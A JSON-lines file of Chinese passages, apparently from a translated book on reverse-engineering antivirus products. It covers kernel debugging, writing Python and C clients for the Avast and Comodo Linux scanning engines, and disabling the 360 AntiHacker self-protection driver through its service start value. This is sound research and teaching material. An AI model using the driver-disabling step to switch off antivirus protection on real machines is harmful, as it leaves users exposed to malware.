    {"text": "你需要将360反黑客驱动（360AntiHacker.sys）的初始值更改为4（即常量 SERVICE_DISABLED ，参见图2-5）。 通过更改服务的初始值，可以让Windows不加载相关驱动，从而禁用反病毒软件的自我保护功能。"},
    {"text": "图2-5 禁用360反黑客驱动的操作截图 值得一提的是，反病毒软件很有可能会通过弹出“拒绝访问”的错误消息窗口或其他没有意义的提示，来阻止你禁用驱动。"},
    {"text": "内核调试 本节聚焦于如何使用内核调试工具，调试反病毒软件驱动和用户态进程。 借助调试工具进行内核调试是最不费力的一种手段，因为该过程避开了反病毒软件在用户态下采用的各类反调试手段。 你将调试整个操作系统，并在必要的时候调试用户层相应的进程，而不是通过禁用反病毒软件的自我保护驱动开展相关分析。 内核调试需要使用针对Windows软件包或WDK（Windows Driver Kit）开发的调试工具中的一个（WinDbg或Kd）。 图2-6 调试软件WinDbg 要展开内核调试，你需要用付费版的VMware或开源的VirtualBox搭建一台虚拟机。"},
    {"text": "你需要先以管理员权限打开一个命令提示符（cmd.exe），然后执行下面两条指令： $ bcdedit /debug on $ bcdedit /dbgsettings serial debugport:1 baudrate:115200 第一条命令为当前系统启用了内核调试，第二条命令将全局调试配置调整为：使用端口 COM1 并以115 200波特率（baud-rate）串行通信（参见图2-7）。"},
    {"text": "图2-7 使用 bcdedit 在Windows 7系统上配置内核调试 成功为当前虚拟机系统配置调试功能后，你需要关闭当前虚拟机，在VirtualBox相关配置中完成剩余的配置步骤。"},
    {"text": "(1) 右键单击虚拟机，选择Settings，然后在弹出的对话框中，单击左侧的Serial Ports。 (2) 勾选Enable Serial选项，端口号选择COM1，接着在Port mode下拉菜单中选择Host Pipe选项。 (3) 勾选Create Pipe选项，接着在Port/File Path栏填入\\.\\pipe\\com_1（如图2-8所示）。"},
    {"text": "不过，为了实现这样的效果，你需要打开内核调试工具（如WinDbg），输入相关指令，让调试工具从当前的运行环境切换到目标进程的运行环境中去。"},
    {"text": "(3) 配置WinDbg，使其从Windows符号服务器上下载调试符号，接着通过下列指令重新加载符号： .sympath srv*http://msdl.microsoft.com/download/symbols .reload 当你设置完符号路径后，WinDbg就可以借助公共调试符号开展调试了。"},
    {"text": "可以通过以下指令，列出从用户态到内核态的所有进程： > !process 0 0 你可以通过在指令末尾追加进程名进行过滤，使得命令提示符中只显示该进程的相关结果，示例如下： > !process 0 0 fssm32.exe PROCESS 868c07a0 SessionId: 0 Cid: 0880 Peb: 7ffdf000 \\ ParentCid: 06bc DirBase: 62bb7000 ObjectTable: a218da58 HandleCount: 259. Image: fssm32.exe 从上面现实的结果可以发现，输出字符串 868c07a0 指向了一个 EPROCESS 结构体。 将 EPROCESS 的地址带入下列指令： .process /r /p 868c07a0. 通过运行指令，确定修正符 /r /p ，之后运行环境会自动在内核态和用户态之间切换。 现在，你就可以开始调试fssm32.exe了： lkd> .process /r /p 868c07a0 Implicit process is now 868c07a0 Loading User Symbols .............................................. 执行环境切换以后，你就可以通过 lm 指令列出用户态下进程加载的所有库了，如下： lkd> lm start end module name 00400000 00531000 fssm32 (deferred) 006d0000 006ec000 fs_ccf_id_converter32 (deferred) 00700000 0070b000 profapi (deferred) 00750000 00771000 json_c (deferred) 007b0000 007cc000 bdcore (deferred) 00de0000 00e7d000 fshive2 (deferred) 01080000 010d2000 fpiaqu (deferred) 01e60000 01e76000 fsgem (deferred) 02b20000 02b39000 sechost (deferred) 07f20000 07f56000 daas2 (deferred) 0dc60000 0dc9d000 fsuss (deferred) 0dce0000 0dd2b000 KERNELBASE (deferred) 10000000 10008000 hashlib_x86 (deferred) 141d0000 14469000 fsgeme (deferred) 171c0000 17209000 fsclm (deferred) 174b0000 174c4000 orspapi (deferred) 178d0000 17aad000 fsusscr (deferred) 17ca0000 1801e000 fsecr32 (deferred) 20000000 20034000 fsas (deferred) 21000000 2101e000 fsepx32 (deferred) (...) 现在你可以在内核态下调试用户态的进程了。"},
    {"text": "有不少Windows版本的反病毒软件提供类似的命令行工具（如Avira和Ikarus）。 不过也有一些Windows版的反病毒软件，因为厂商移除了这项特性或者因为命令行工具只能被工程师或服务支持人员使用，而不提供独立的命令行工具。 在这种情况下，你可以查看一下该款反病毒软件在别的系统平台上有没有相关产品。 如果该款反病毒软件有Linux、BSD或Mac OS X版本的话，有可能这些版本提供了可供你调试的独立的自带命令行工具。 Avira、Bitdefender、Comodo、F-Secure、Sophos以及其他许多反病毒软件都是这样。"},
    {"text": "如果反病毒产品没有Linux版本，只有Windows版本的话，还是可以通过Wine（其本身不是一款模拟器）模拟器以接近本机语言的运行速度运行反病毒扫描器。 众所周知，Wine软件可用于在非Windows操作系统中（如Linux）运行Windows平台上的二进制文件。 另一方面，Winelib（Wine的支持库）可以将只兼容Windows系统的应用移植到Linux系统中去。 使用Winelib成功移植到Linux平台的应用案例有Picasa （谷歌开发的一款数码图片编辑和查看工具）、Kylix（Borland开发的一款编译器和继承开发环境，之后不再继续更新）、Corel开发的WordPerfect9 Linux版和IBM公司开发的WebSphere。 Wine或Winelib的工作原理是，运行只兼容Windows平台的命令行工具，借助Wine或逆向分析核心库，为Linux编写一个C/C++的封装程序。 借助Winelib调用只兼容Windows的动态链接库（DLL文件）导出的函数。"},
    {"text": "图2-9 借助Wine在Linux平台上运行Ikarus t3 Scan 2.4 实战案例：为Linux版Avast编写Python binding 本节将为你介绍一个实战案例，通过逆向分析反病毒软件的相关模块来编写binding。"},
    {"text": "如果你可以使用自己编写的工具或库（而不是反病毒厂商提供的工具）与反病毒软件内核交互，那么在接下来的工作中，你就可以实现自动化了（比如编写你自己的扫描器或模糊测试工具）。"},
    {"text": "图2-10 Avast scan 工具的函数列表与针对 scan_path 函数的反汇编界面 多亏有了部分调试符号，你可以开始用IDA分析文件，并且很容易地了解程序的行为。"},
    {"text": "让我们从 main 函数开始： .text:08048930 ; int __cdecl main(int argc, const char **argv, const char **envp) .text:08048930 public main .text:08048930 main proc near ; DATA XREF: _start+17 o .text:08048930 .text:08048930 argc = dword ptr 8 .text:08048930 argv = dword ptr 0Ch .text:08048930 envp = dword ptr 10h .text:08048930 .text:08048930 push ebp .text:08048931 mov ebp, esp .text:08048933 push edi .text:08048934 push esi .text:08048935 mov esi, offset src ; \"/var/run/avast/scan.sock\" .text:0804893A push ebx .text:0804893B and esp, 0FFFFFFF0h .text:0804893E sub esp, 0B0h .text:08048944 mov ebx, [ebp+argv] .text:08048947 mov dword ptr [esp+28h], 0 .text:0804894F mov dword ptr [esp+20h], 0 .text:08048957 mov dword ptr [esp+24h], 0 .text:0804895F .text:0804895F loc_804895F: ; CODE XREF: main+50 j .text:0804895F ; main+52 j ... .text:0804895F mov eax, [ebp+argc] .text:08048962 mov dword ptr [esp+8],offset shortopts ; \"hvVfpabs:e:\" .text:0804896A mov [esp+4], ebx ; argv .text:0804896E mov [esp], eax ; argc .text:08048971 call _getopt .text:08048976 test eax, eax .text:08048978 js short loc_8048989 .text:0804897A sub eax, 3Ah ; switch 61 cases .text:0804897D cmp eax, 3Ch .text:08048980 ja short loc_804895F .text:08048982 jmp ds:off_804A5BC[eax*4] ; switch jump 在地址 0x08048935 处，有一个被载入 ESI 寄存器和指向C字符串 /var/run/avast/scan.sock 的指针。"},
    {"text": "你可以在之后的地址 0x08048B01 处证实这点： .text:08048B01 lea edi, [esp+0BCh+socket_copy] .text:08048B05 mov [esp+4], esi .text:08048B05 ; ESI points to our previously set socket's path .text:08048B09 mov [esp], edi ; dest .text:08048B0C mov [esp+18h], dl .text:08048B10 mov word ptr [esp+42h], 1 .text:08048B17 call _strcpy .text:08048B1C mov dword ptr [esp+8], 0 ; protocol .text:08048B24 mov dword ptr [esp+4], SOCK_STREAM ; type .text:08048B2C mov dword ptr [esp], AF_UNIX ; domain .text:08048B33 call _socket 套接字路径的指针被复制（借助 strcpy ）到了一个栈变量内（ stack_copy ）。"},
    {"text": "该套接字通过 connect 函数调用了 scan.sock ： .text:08048B50 mov eax, [esp+0BCh+socket] .text:08048B54 lea edx, [esp+42h] .text:08048B58 mov [esp+4], edx ; addr .text:08048B5C mov [esp], eax ; fd .text:08048B5F neg ecx .text:08048B61 mov [esp+8], ecx ; len .text:08048B65 call _connect .text:08048B6A test eax, eax 通过上面的梳理，现在我们已经清楚了：命令行扫描客户端通过套接字连接服务器，然后向它发送扫描请求。"},
    {"text": "现在，你将通过Python命令提示符框连接套接字，验证之前的理论： $ python >>> import socket >>> s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) >>> sock_name=\"/var/run/avast/scan.sock\" >>> s.connect(sock_name) 确实可以成功连接到套接字！"},
    {"text": "当连接调用结束后，程序又调用了 parse_reponse 函数，其理想结果是魔术值220： .text:08048B72 mov eax, [esp+0BCh+socket] .text:08048B76 lea edx, [esp+0BCh+response] .text:08048B7A call parse_response .text:08048B7F cmp eax, 220 连上套接字后，现在试着从中读取1024个字节： $ python >>> import socket >>> s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) >>> sock_name=\"/var/run/avast/scan.sock\" >>> s.connect(sock_name) >>> s.recv(1024) '220 DAEMON\\r\\n' 谜团解开了：之前的错误响应码220是直接从服务器应答的。"},
    {"text": "下面是该部分的反汇编结果： .text:08049580 av_close proc near .text:08049580 fd = dword ptr -1Ch .text:08049580 buf = dword ptr -18h .text:08049580 n = dword ptr -14h .text:08049580 .text:08049580 push ebx .text:08049581 mov ebx, eax .text:08049583 sub esp, 18h .text:08049586 mov [esp+1Ch+n], 5 ; n .text:0804958E mov [esp+1Ch+buf], offset aQuit ; \"QUIT\\n\" .text:08049596 mov [esp+1Ch+fd], eax ; fd .text:08049599 call _write .text:0804959E test eax, eax .text:080495A0 js short loc_80495C1 .text:080495A2 .text:080495A2 loc_80495A2: ; CODE XREF: av_close+4D .text:080495A2 mov [esp+1Ch+fd], ebx ; fd .text:080495A5 call _close .text:080495AA test eax, eax .text:080495AC js short loc_80495B3 完成任务后，客户端就会调用 av_close 函数，发送字符串 QUIT\\n 给后台进程，示意自己已经完成了所有工作，现在应该关闭客户端连接了。"},
    {"text": "basic_avast_client1.py包含了第一次要执行的代码内容，如下所示： #!/usr/bin/python import socket SOCKET_PATH = \"/var/run/avast/scan.sock\" class CBasicAvastClient: def __init__(self, socket_name): self.socket_name = socket_name self.s = None def connect(self): self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) self.s.connect(self.socket_name) banner = self.s.recv(1024) return repr(banner) def close(self): self.s.send(\"QUIT\\n\") def main(): cli = CBasicAvastClient(SOCKET_PATH) print(cli.connect()) cli.close() if __name__ == \"__main__\": main() 试着运行一下脚本： $ python basic_avast_cli1.py '220 DAEMON\\r\\n' 一切工作正常。"},
    {"text": "在地址 0x0804083B 处，有一次有趣的函数调用过程： .text:08048D34 mov edx, [ebx+esi*4] .text:08048D37 mov eax, [esp+0BCh+socket] .text:08048D3B call scan_path 因为有部分调试符号的帮助，我们可以轻而易举地确定这个函数的功能：扫描一个指定路径。 接下来，让我们来看看scan_path函数： .text:08049F00 scan_path proc near ; CODE XREF: main+40B .text:08049F00 ; .text:08049EF1 .text:08049F00 .text:08049F00 name = dword ptr -103Ch .text:08049F00 resolved = dword ptr -1038h .text:08049F00 n = dword ptr -1034h .text:08049F00 var_1030 = dword ptr -1030h .text:08049F00 var_102C = dword ptr -102Ch .text:08049F00 var_1028 = dword ptr -1028h .text:08049F00 var_1024 = dword ptr -1024h .text:08049F00 var_1020 = dword ptr -1020h .text:08049F00 var_101C = byte ptr -101Ch .text:08049F00 var_10 = dword ptr -10h .text:08049F00 var_C = dword ptr -0Ch .text:08049F00 var_8 = dword ptr -8 .text:08049F00 var_4 = dword ptr -4 .text:08049F00 .text:08049F00 sub esp, 103Ch .text:08049F06 mov [esp+103Ch+resolved], 0 ; resolved .text:08049F0E mov [esp+103Ch+name], edx ; name .text:08049F11 mov [esp+103Ch+var_10], ebx .text:08049F18 mov ebx, eax .text:08049F1A mov [esp+103Ch+var_8], edi .text:08049F21 mov edi, edx .text:08049F23 mov [esp+103Ch+var_C], esi .text:08049F2A mov [esp+103Ch+var_4], ebp .text:08049F31 mov [esp+103Ch+var_102C], offset storage .text:08049F39 mov [esp+103Ch+var_1028], 1000h .text:08049F41 mov [esp+103Ch+var_1024], 0 .text:08049F49 mov [esp+103Ch+var_1020], 0 .text:08049F51 call _realpath .text:08049F56 test eax, eax .text:08049F58 jz loc_804A040 .text:08049F5E .text:08049F5E loc_8049F5E: ; CODE XREF: scan_path+1CE j .text:08049F5E mov ds:storage, 'NACS' .text:08049F68 mov esi, eax .text:08049F6A mov ds:word_804BDE4, ' ' 你会发现上述过程中调用了 realpath 函数（获取文件或目录的真实路径）。"},
    {"text": "不必逆向分析整个函数结果，也不必考虑之前为Avast编写的Python binding中针对 close 方法执行的命令格式，你会发现，向后台进程发送的扫描文件或目录的命令就是 SCAN/some/path 。 现在，在之前的代码中加入向后台进程发送扫描命令的代码，然后运行查看结果： #!/usr/bin/python import socket SOCKET_PATH = \"/var/run/avast/scan.sock\" class CBasicAvastClient: def __init__(self, socket_name): self.socket_name = socket_name self.s = None def connect(self): self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) self.s.connect(self.socket_name) banner = self.s.recv(1024) return repr(banner) def close(self): self.s.send(\"QUIT\\n\") def scan(self, path): self.s.send(\"SCAN %s\\n\" % path) return repr(self.s.recv(1024)) def main(): cli = CBasicAvastClient(SOCKET_PATH) print(cli.connect()) print(cli.scan(\"malware/xpaj\")) cli.close() if __name__ == \"__main__\": main() 脚本的运行结果如下： $ python basic_avast_cli1.py '220 DAEMON\\r\\n' '210 SCAN DATA\\r\\n' 运行上面的代码不会产生有用的数据，因为你需要从套接字中读取更多的数据包。"},
    {"text": "现在，你需要按照下面的示例，修正之前编写的Python部分代码（这是一个有用的懒办法）： def scan(self, path): self.s.send(\"SCAN %s\\n\" % path) while 1: ret = self.s.recv(8192) print(repr(ret)) if ret.find(\"200 SCAN OK\") > -1: break 将代码修改好以后，再运行一次。"},
    {"text": "这次，你将会得到完全不同的输出结果，带有一个期望值： $ python basic_avast_cli1.py '220 DAEMON\\r\\n' '210 SCAN DATA\\r\\n' 'SCAN /some/path/malware/xpaj/00908235ee9e267fa2f4c83fb4304c63af976cbc\\t [L]0.0\\t0 Win32:Hoblig\\\\ [Heur]\\r\\n' '200 SCAN OK\\r\\n' None 太神奇了！"},
    {"text": "如果不能的话，你肯定想在Linux平台上继续进行模糊测试，将GDB或其他调试工具绑定到后台进程 /bin/avast 上，接着使用你编写的binding向Avast的病毒查杀服务器发送大量修改过的样本文件，而后等待它崩溃。"},
    {"text": "2.5 实战案例：为Linux版Comodo编写本机C/C++工具 如果有服务器的话，监听指定端口与服务器接口通信的命令是针对各类反病毒产品开展自动化任务的捷径。"},
    {"text": "在这种情况下，如果有命令行扫描器与核心库的话，你需要对它们展开逆向分析，来重建必要的内部结构、相应函数及其原型，以便能够了解如何在自动化测试过程中调用这些函数。"},
    {"text": "首先，让我们来分析Comodo Linux版的命令行扫描器（称作 cmdscan ），它的安装目录如下： /opt/COMODO/cmdscan 在IDA中打开对应的二进制文件，等待最初的自动分析结束，然后跳转到函数 main 。"},
    {"text": "你将会看到如下反汇编结果： .text:00000000004015C0 ; __int64 __fastcall main(int argc, char **argv, char **envp) .text:00000000004015C0 main proc near .text:00000000004015C0 .text:00000000004015C0 var_A0= dword ptr -0A0h .text:00000000004015C0 var_20= dword ptr -20h .text:00000000004015C0 var_1C= dword ptr -1Ch .text:00000000004015C0 .text:00000000004015C0 push rbp .text:00000000004015C1 mov ebp, edi .text:00000000004015C3 push rbx .text:00000000004015C4 mov rbx, rsi ; argv .text:00000000004015C7 sub rsp, 0A8h .text:00000000004015CE mov [rsp+0B8h+var_1C], 0 .text:00000000004015D9 mov [rsp+0B8h+var_20], 0 .text:00000000004015E4 .text:00000000004015E4 loc_4015E4: .text:00000000004015E4 .text:00000000004015E4 mov edx, offset shortopts ; \"s:vh\" .text:00000000004015E9 mov rsi, rbx ; argv .text:00000000004015EC mov edi, ebp ; argc .text:00000000004015EE call _getopt .text:00000000004015F3 cmp eax, 0FFFFFFFFh 这里，通过标准函数 getopt 检查命令行选项 s:vh 。 如果你不带参数，直接运行 /opt/COMODO/cmdscan 命令，打印出来的结果将会是该命令行扫描工具的用法： $ /opt/COMODO/cmdscan USAGE: /opt/COMODO/cmdscan -s [FILE] [OPTION...] -s: scan a file or directory -v: verbose mode, display more detailed output -h: this help screen 命令行选项 s:vh 的反汇编结果如下。"},
    {"text": "让我们继续反汇编，来了解这个标志的工作原理： .text:00000000004015F8 cmp eax, 's' .text:00000000004015FB jz short loc_401613 (...) .text:0000000000401613 loc_401613: .text:0000000000401613 mov rdi, cs:optarg ; name .text:000000000040161A xor esi, esi ; type .text:000000000040161C call _access .text:0000000000401621 test eax, eax .text:0000000000401623 jnz loc_40172D .text:0000000000401629 mov rax, cs:optarg .text:0000000000401630 mov cs:src, rax ; Path to scan .text:0000000000401637 jmp short next_cmdline_option 当使用 -s 后缀标志时，程序通过调用 access 检查紧随其后的参数是否为一个存在的路径。"},
    {"text": "如果参数路径存在的话，将待扫描路径的指针（一个文件名或目录）保存为 src 静态变量，接着继续分析更多的命令行参数。 命令行参数解析完毕后，就可以分析相关代码了： .text:0000000000401649 loc_401649: ; CODE XREF: main+36 j .text:0000000000401649 cmp cs:src, 0 .text:0000000000401651 jz no_filename_specified .text:0000000000401657 mov edi, offset dev_aflt_fd ; a2 .text:000000000040165C call open_dev_avflt .text:0000000000401661 call load_framework .text:0000000000401666 call maybe_IFrameWork_CreateInstance 上述代码检测了代表需要扫描路径的变量 src 是否已经被赋值。"},
    {"text": "该函数的伪代码如下： void *load_framework() { int filename_size; // eax@1 char *self_dir; // rax@2 int *v2; // rax@3 char *v3; // rax@3 void *hFramework; // rax@6 void *CreateInstance; // rax@7 char *v6; // rax@9 char filename[2056]; // [sp+0h] [bp-808h]@1 filename_size = readlink(\"/proc/self/exe\", filename, 0x800uLL); if ( filename_size == -1 || (filename[filename_size] = 0, self_dir = dirname(filename), chdir(self_dir)) ) { v2 = __errno_location(); v3 = strerror(*v2); LABEL_4: fprintf(stderr, \"%s\\n\", v3); exit(1); } _hFramework_ = dlopen(\"./libFRAMEWORK.so\", 1); hFrameworkSo = hFramework; if ( !hFramework ) { v6 = dlerror(); fprintf(stderr, \"error is %s\\n\", v6); goto LABEL_10; } CreateInstance = dlsym(hFramework, \"CreateInstance\"); FnCreateInstance = (int (__fastcall *) (_QWORD, _QWORD, _QWORD, _QWORD))CreateInstance; if ( !CreateInstance ) { LABEL_10: v3 = dlerror(); goto LABEL_4; } return CreateInstance; } 反编译出来的代码看起来很棒，不是吗？"},
    {"text": "程序动态加载libFRAMEWORK.so文件，然后解析函数 CreateInstance ，接着将指针保存到全局变量 FnCreateInstance 中。 libFRAMEWORK.so内的函数 CreateInstance 加载内核，同时解析负责创建新框架实例的函数。"},
    {"text": "接下来，你需要对函数 maybe_IFramework_CreateInstance 开展逆向分析： .text:0000000000401A50 maybe_IFrameWork_CreateInstance proc near .text:0000000000401A50 .text:0000000000401A50 hInstance= qword ptr -40h .text:0000000000401A50 var_38= qword ptr -38h .text:0000000000401A50 maybe_flags= qword ptr -28h .text:0000000000401A50 .text:0000000000401A50 push rbp .text:0000000000401A51 xor esi, esi .text:0000000000401A53 xor edi, edi .text:0000000000401A55 mov edx, 0F0000h .text:0000000000401A5A push rbx .text:0000000000401A5B sub rsp, 38h .text:0000000000401A5F mov [rsp+48h+hInstance], 0 .text:0000000000401A68 lea rcx, [rsp+48h+hInstance] .text:0000000000401A6D call cs:FnCreateInstance 此处调用了之前解析的函数 FnCreateInstance ，同时传递了一个名为 hInstance 的本地变量，创建了一个Comodo Antivirus的接口实例。"},
    {"text": "实例创建后，将执行如下伪代码： BYTE4(maybe_flags) = 0; LODWORD(maybe_flags) = -1; g_FrameworkInstance = hInstance; cur_dir = get_current_dir_name(); hFramework = g_FrameworkInstance; cur_dir_len = strlen(cur_dir); if ( hFramework->baseclass_0->CFrameWork_Init( hFramework, cur_dir_len + 1, cur_dir, maybe_flags, 0LL) < 0 ) { fwrite(\"IFrameWork Init failed!\\n\", 1uLL, 0x18uLL, stderr); exit(1); } free(cur_dir); 上述代码通过调用 hFramework->baseclass_0->CFrameWork_Init 初始化框架，接收刚刚创建的实例 hFramework 、其他所有内核文件的目录、给定文件目录路径缓冲区的大小，以及给 CFrameWork_Init 设置的功能标志。"},
    {"text": "这些操作完成后，程序调用了更多的函数，以便能够正确加载反病毒软件的内核： LODWORD(v8) = -1; BYTE4(v8) = 0; if ( g_FrameworkInstance->baseclass_0->CFrameWork_LoadScanners( g_FrameworkInstance, v8) < 0 ) { fwrite(\"IFrameWork LoadScanners failed!\\n\", 1uLL, 0x20uLL, stderr); exit(1); } if ( g_FrameworkInstance->baseclass_0->CFrameWork_CreateEngine( g_FrameworkInstance, (IAEEngineDispatch **)&g_Engine) < 0 ) { fwrite(\"IFrameWork CreateEngine failed!\\n\", 1uLL, 0x20uLL, stderr); exit(1); } if ( g_Engine->baseclass_0->CAEEngineDispatch_GetBaseComponent( g_Engine, (CAECLSID)0x20001, (IUnknown **)&g_base_component_0x20001) < 0 ) { fwrite(\"IAEEngineDispatch GetBaseComponent failed!\\n\", 1uLL, 0x2BuLL, stderr); exit(1); } 上面的伪代码通过调用 CFrameWork_LoadScanners 加载了扫描程序。"},
    {"text": "接下来要讲的东西虽然可以直接略过，但我们最好还是了解一下它的功能： v4 = operator new(0xB8uLL); v5 = (IAEUserCallBack *)v4; *(_QWORD *)v4 = &vtable_403310; pthread_mutex_init((pthread_mutex_t *)(v4 + 144), 0LL); memset(&v5[12], 0, 0x7EuLL); g_user_callbacks = (__int64)v5; result = g_Engine->baseclass_0->CAEEngineDispatch_SetUserCallBack (g_Engine, v5); if ( result < 0 ) { fwrite(\"SetUserCallBack() failed!\\n\", 1uLL, 0x1AuLL, stderr); exit(1); } 上面这段代码可以用来设置回调。"},
    {"text": "相信你也一定觉得上面的演示很有趣，但我们的最终目的是逆向分析反病毒软件内核，为编写能够与Comodo内核交互的C/C++软件开发工具包，收集充足的信息。"},
    {"text": "接下来这部分代码在之前分析的函数被调用之后运行，其伪代码类似下面这样： if ( __lxstat(1, filename, &v7) == -1 ) { v5 = __errno_location(); v6 = strerror(*v5); fprintf(stderr, \"%s: %s\\n\", filename, v6); } else { if ( verbose ) fwrite(\"-----== Scan Start ==-----\\n\", 1uLL, 0x1BuLL, stdout); if ( (v8 & 0xF000) == 0x4000 ) scan_directory(filename, verbose, (__int64)&scanned_files, (__int64)&virus_found); else scan_stream(filename, verbose, &scanned_files, &virus_found); if ( verbose ) fwrite(\"-----== Scan End ==-----\\n\", 1uLL, 0x19uLL, stdout); fprintf(stdout, \"Number of Scanned Files: %d\\n\", (unsigned int)scanned_files); fprintf(stdout, \"Number of Found Viruses: %d\\n\", (unsigned int)virus_found); } 上述代码的功能是检查全局变量 src 中存储的路径信息是否存在。"},
    {"text": "现在，让我们来深入探究该函数的具体行为： int __fastcall scan_stream( char *filename, char verbose, _DWORD *scanned_files, _DWORD *virus_found) (…) SCANRESULT scan_result; // [sp+10h] [bp-118h]@1 SCANOPTION scan_option; // [sp+90h] [bp-98h]@1 ICAVStream *inited_to_zero; // [sp+E8h] [bp-40h]@1 memset(&scan_option, 0, 0x49uLL); memset(&scan_result, 0, 0x7EuLL); scan_option.ScanCfgInfo = (x1)-1; scan_option.bScanPackers = 1; scan_option.bScanArchives = 1; scan_option.bUseHeur = 1; scan_option.eSHeurLevel = 2; base_component_0x20001 = *(struct_base_component_0x20001_t **)g_base_comp; scan_option.dwMaxFileSize = 0x2800000; scan_option.eOwnerFlag = 1; inited_to_zero = 0LL; result = base_component_0x20001->pfunc50( g_base_comp, (__int64 *)&inited_to_zero, (__int64)filename, 1LL, 3LL, 0LL); 这部分代码非常有意思。"},
    {"text": "接下来的代码是： err = result; if ( result >= 0 ) { memset((void *)(g_user_callbacks + 12), 0, 0x7EuLL); err = g_Engine->baseclass_0->CAEEngineDispatch_ScanStream(g_Engine, inited_to_zero, &scan_option, &scan_result); (…) 这部分代码实际上是在实现文件扫描功能。"},
    {"text": "接下来的代码也很有意思： if ( err >= 0 ) { ++*scanned_files; if ( verbose ) { if ( scan_result.bFound ) { fprintf(stdout, \"%s ---> Found Virus, Malware Name is %s\\n\", filename, scan_result.szMalwareName); result = fflush(stdout); } else { fprintf(stdout, \"%s ---> Not Virus\\n\", filename); result = fflush(stdout); } } } 上面这部分代码片段检查了本地变量 err 是否不为0，增加了变量 scanned_files 的数值，同时，如果对象 SCANRESULT 的成员值 bFound 为 true ，则显示发现的恶意软件名称。 该函数的最后一部分代码的作用是，每发现一个恶意软件，就增加已发现的病毒数量： if ( scan_result.bFound ) { if ( err >= 0 ) ++*virus_found; } 让我们再次回到函数 main ，调用函数 scan_* 后的最后一部分代码为： uninit_framework(); dlclose_framework(); close_dev_aflt_fd(&dev_aflt_fd); 上面这段代码与清理工作有关。"},
    {"text": "反初始化框架的同时，取消所有正在进行的扫描工作： g_base_component_0x20001 = 0LL; if ( g_Engine ) { g_Engine->baseclass_0->CAEEngineDispatch_Cancel(g_Engine); result = g_Engine->baseclass_0->CAEEngineDispatch_UnInit( g_Engine, 0LL); g_Engine = 0LL; } if ( g_FrameworkInstance ) { result = g_FrameworkInstance->baseclass_0->CFrameWork_UnInit( g_FrameworkInstance, 0LL); g_FrameworkInstance = 0LL; } 最终关闭被占用的libFRAMEWORK.so库： void __cdecl dlclose_framework() { if ( hFrameworkSo ) dlclose(hFrameworkSo); } 现在，我们收集齐了所有为Comodo Linux版编写C/C++工具的必要信息。"},
    {"text": "要完成该操作，需要在IDA内选择View → Open Subviews → Local Types，右击Local Types窗口，从弹出菜单中选择Export to Header File选项。 勾选Generate Compilable Header File选项，填入正确的导出头文件路径，接着点击Export。"},
    {"text": "编写时，首先添加一段导入宏文件的代码： #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <pthread.h> #include <dlfcn.h> #include <libgen.h> #include <errno.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include \"comodo.h\" 上面展示的这些是程序需要的头文件。"},
    {"text": "int main(int argc, char **argv) { int scanned_files = 0; int virus_found = 0; if ( argc == 1 ) return 1; load_framework(); maybe_IFrameWork_CreateInstance(); scan_stream(argv[1], verbose, &scanned_files, &virus_found); printf(\"Final number of Scanned Files: %d\\n\", scanned_files); printf(\"Final number of Found Viruses: %d\\n\", virus_found); uninit_framework(); dlclose_framework(); return 0; } 在上面这段代码中，命令行第一个参数代表着要扫描的文件。"},
    {"text": "接下来，你可以在Linux平台上使用以下命令将程序编译出来： $ g++ cmdscan.c -o mycmdscan -fpermissive \\ -Wno-unused-local-typedefs -ldl 为了测试程序能否运行，你需要使用以下命令，将程序复制到/opt/COMODO目录： $ sudo cp mycmdscan /opt/COMODO 现在就可以测试刚刚编译出来的程序是否能够像Comodo的原生命令行扫描器 cmdscan 一样工作了： $ /opt/COMODO/mycmdscan /home/joxean/malware/eicar.com.txt /home/joxean/malware/eicar.com.txt ---> Found Virus , \\ Malware Name is Malware Number of Scanned Files: 1 Number of Found Viruses: 1 一切工作正常！"},
    {"text": "如果你查看结构 SCANRESULT ，会发现一些非常有趣的成员结构： struct SCANRESULT { char bFound; int unSignID; char szMalwareName[64]; int eFileType; int eOwnerFlag; int unCureID; int unScannerID; int eHandledStatus; int dwPid; __int64 ullTotalSize; __int64 ullScanedSize; int ucrc1; int ucrc2; char bInWhiteList; int nReserved[2]; }; 比如，你可以获取与你样本相匹配的特征码标识符、扫描器标识符，以及用于检测样本的CRC文件校验码，还有了解样本文件是不是在反病毒软件的白名单中。 在程序 scan_stream 中，你可以通过修改下面若干行代码替换已侦测样本的病毒名： printf(\"%s ---> Malware: %s\\n\", src, scan_result.szMalwareName); if ( scan_result.unSignID ) printf(\"Signature ID: 0x%x\\n\", scan_result.unSignID); if ( scan_result.unScannerID ) printf(\"Scanner : %d (%s)\\n\", scan_result.unScannerID, get_scanner_name(scan_result.unScannerID)); if ( scan_result.ullTotalSize ) printf(\"Total size : %lld\\n\", scan_result.ullTotalSize); if ( scan_result.ullScanedSize ) printf(\"Scanned size: %lld\\n\", scan_result.ullScanedSize); if ( scan_result.ucrc1 || scan_result.ucrc2 ) printf(\"CRCs : 0x%x 0x%x\\n\", scan_result.ucrc1, scan_result.ucrc2); result = fflush(stdout); 现在，将 Not virus 这行代码替换成以下代码： printf(\"%s ---> Not Virus\\n\", src); if ( scan_result.bInWhiteList ) printf(\"INFO: The file is white-listed.\\n\"); result = fflush(stdout); 最后一步是将下列函数代码添加到 scan_stream 程序前，将扫描器标识符解析为扫描器名称： //---------------------------------------------------------------------- const char *get_scanner_name(int id) { switch ( id ) { case 15: return \"UNARCHIVE\"; case 28: return \"SCANNER_PE64\"; case 27: return \"SCANNER_MBR\"; case 12: return \"ENGINEDISPATCH\"; case 7: return \"UNPACK_STATIC\"; case 22: return \"SCANNER_EXTRA\"; case 29: return \"SCANNER_SMART\"; case 16: return \"CAVSEVM32\"; case 6: return \"SCANNER_SCRIPT\"; case 9: return \"SIGNMGR\"; case 21: return \"UNPACK_DUNPACK\"; case 13: return \"SCANNER_WHITE\"; case 24: return \"SCANNER_RULES\"; case 8: return \"UNPACK_GUNPACK\"; case 10: return \"FRAMEWORK\"; case 3: return \"SCANNER_PE32\"; case 5: return \"MEMORY_ENGINE\"; case 23: return \"UNPATCH\"; case 2: return \"SCANNER_DOSMZ\"; case 4: return \"SCANNER_PENEW\"; case 0: return \"Default\"; case 17: return \"CAVSEVM64\"; case 20: return \"UNSFX\"; case 19: return \"SCANNER_MEM\"; case 14: return \"MTENGINE\"; 